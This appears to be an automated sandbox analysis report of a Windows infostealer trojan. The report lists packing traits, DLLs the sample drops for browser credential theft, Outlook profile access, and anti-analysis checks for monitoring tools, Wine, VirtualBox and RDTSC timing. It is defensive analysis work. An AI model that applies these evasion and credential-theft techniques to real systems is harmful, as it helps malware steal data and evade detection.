Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9D4D0	0_2_6CE9D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED34A0	0_2_6CED34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDC4A0	0_2_6CEDC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE86C80	0_2_6CE86C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE85440	0_2_6CE85440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE545C	0_2_6CEE545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE542B	0_2_6CEE542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEAC00	0_2_6CEEAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB5C10	0_2_6CEB5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC2C10	0_2_6CEC2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED85F0	0_2_6CED85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB0DD0	0_2_6CEB0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8FD00	0_2_6CE8FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA0512	0_2_6CEA0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9ED10	0_2_6CE9ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE76E3	0_2_6CEE76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7BEF0	0_2_6CE7BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8FEF0	0_2_6CE8FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED4EA0	0_2_6CED4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDE680	0_2_6CEDE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE95E90	0_2_6CE95E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE6E63	0_2_6CEE6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7C670	0_2_6CE7C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC2E4E	0_2_6CEC2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE94640	0_2_6CE94640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE99E50	0_2_6CE99E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB3E50	0_2_6CEB3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED9E30	0_2_6CED9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC5600	0_2_6CEC5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB7E10	0_2_6CEB7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7DFE0	0_2_6CE7DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA6FF0	0_2_6CEA6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC77A0	0_2_6CEC77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE89F00	0_2_6CE89F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB7710	0_2_6CEB7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9C0E0	0_2_6CE9C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB58E0	0_2_6CEB58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE50C7	0_2_6CEE50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA60A0	0_2_6CEA60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBF070	0_2_6CEBF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE98850	0_2_6CE98850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9D850	0_2_6CE9D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBB820	0_2_6CEBB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC4820	0_2_6CEC4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE87810	0_2_6CE87810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7C9A0	0_2_6CE7C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAD9B0	0_2_6CEAD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB5190	0_2_6CEB5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED2990	0_2_6CED2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8D960	0_2_6CE8D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECB970	0_2_6CECB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEB170	0_2_6CEEB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A940	0_2_6CE9A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE91AF0	0_2_6CE91AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBE2F0	0_2_6CEBE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB8AC0	0_2_6CEB8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE722A0	0_2_6CE722A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA4AA0	0_2_6CEA4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8CAB0	0_2_6CE8CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE2AB0	0_2_6CEE2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEBA90	0_2_6CEEBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB9A60	0_2_6CEB9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE53C8	0_2_6CEE53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7F380	0_2_6CE7F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8C370	0_2_6CE8C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE75340	0_2_6CE75340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBD320	0_2_6CEBD320

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 005245C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CEB94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CEACBE8 appears 134 times

Source: file.exe, 00000000.00000002.1494300617.000000006D0F5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ywpdrelt ZLIB complexity 0.9948555176825542

Source: file.exe, 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1240754798.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CED7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CED7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00539600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00539600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00533720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00533720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\I61GZ5H8.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493766324.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1494209203.000000006D0AF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493766324.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1494209203.000000006D0AF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493766324.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1494209203.000000006D0AF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493766324.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1494209203.000000006D0AF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493766324.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1494209203.000000006D0AF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493766324.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493766324.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1494209203.000000006D0AF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1326659573.000000001D668000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1344721900.000000001D65B000.00000004.00000020.00020000.00000000.sdmp, EHJDHJKFIECAAKFIJJKJ.0.dr, HDAKJDHIEBFIIDGDGDBA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493766324.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493766324.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1831936 > 1048576

Source: file.exe

Static PE information: Raw size of ywpdrelt is bigger than: 0x100000 < 0x199200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1494209203.000000006D0AF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1494209203.000000006D0AF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.520000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ywpdrelt:EW;qdeutuzb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ywpdrelt:EW;qdeutuzb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00539860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00539860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c57c1 should be: 0x1ca25c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ywpdrelt
Source: file.exe	Static PE information: section name: qdeutuzb
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009598D6 push ecx; mov dword ptr [esp], edi	0_2_009598F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB30F2 push 7104B146h; mov dword ptr [esp], ebp	0_2_00BB3111
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB30F2 push esi; mov dword ptr [esp], 18344A67h	0_2_00BB313E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB30F2 push edx; mov dword ptr [esp], eax	0_2_00BB3149
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB30F2 push eax; mov dword ptr [esp], ecx	0_2_00BB3188
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095B0DF push ebp; mov dword ptr [esp], eax	0_2_0095B0F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0053B035 push ecx; ret	0_2_0053B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008490F3 push esi; mov dword ptr [esp], edx	0_2_00849147
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008490F3 push 204713DAh; mov dword ptr [esp], edx	0_2_008491BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091800B push ebx; mov dword ptr [esp], 22866936h	0_2_00918032
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091800B push eax; mov dword ptr [esp], 7EDC278Fh	0_2_009180C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081B045 push eax; mov dword ptr [esp], 121B9D27h	0_2_0081B0A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081B045 push 57EDAF57h; mov dword ptr [esp], ebp	0_2_0081B10E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081B045 push 02DEA28Eh; mov dword ptr [esp], ebp	0_2_0081B11B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D284D push edx; mov dword ptr [esp], esi	0_2_009D2893
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D284D push esi; mov dword ptr [esp], ebp	0_2_009D28EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B0074 push 6A1ABBA4h; mov dword ptr [esp], edx	0_2_009B0092
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB319B push 1CA00890h; mov dword ptr [esp], eax	0_2_00BB31CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB319B push ecx; mov dword ptr [esp], ebp	0_2_00BB31EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB319B push 265516DAh; mov dword ptr [esp], edx	0_2_00BB327D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB319B push 6880FD31h; mov dword ptr [esp], esi	0_2_00BB329B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB319B push ecx; mov dword ptr [esp], eax	0_2_00BB32AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0096A9B3 push ecx; mov dword ptr [esp], ebx	0_2_0096AA08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0096A9B3 push ecx; mov dword ptr [esp], eax	0_2_0096AA51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0096A9B3 push ebp; mov dword ptr [esp], eax	0_2_0096AA6D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009191B8 push 1337C1B2h; mov dword ptr [esp], edi	0_2_00919280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009981DC push 782C627Fh; mov dword ptr [esp], ecx	0_2_0099824D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BC916 push ecx; mov dword ptr [esp], eax	0_2_007BC952
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BC916 push ebp; mov dword ptr [esp], 7DB936DDh	0_2_007BC988
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BC916 push 6BD8A888h; mov dword ptr [esp], ecx	0_2_007BC9AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CA9E4 push edx; mov dword ptr [esp], eax	0_2_009CA9EE

Source: file.exe

Static PE information: section name: ywpdrelt entropy: 7.954016607235579

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00539860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58426

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4BD8 second address: 8F4BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4BDE second address: 8F4BFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
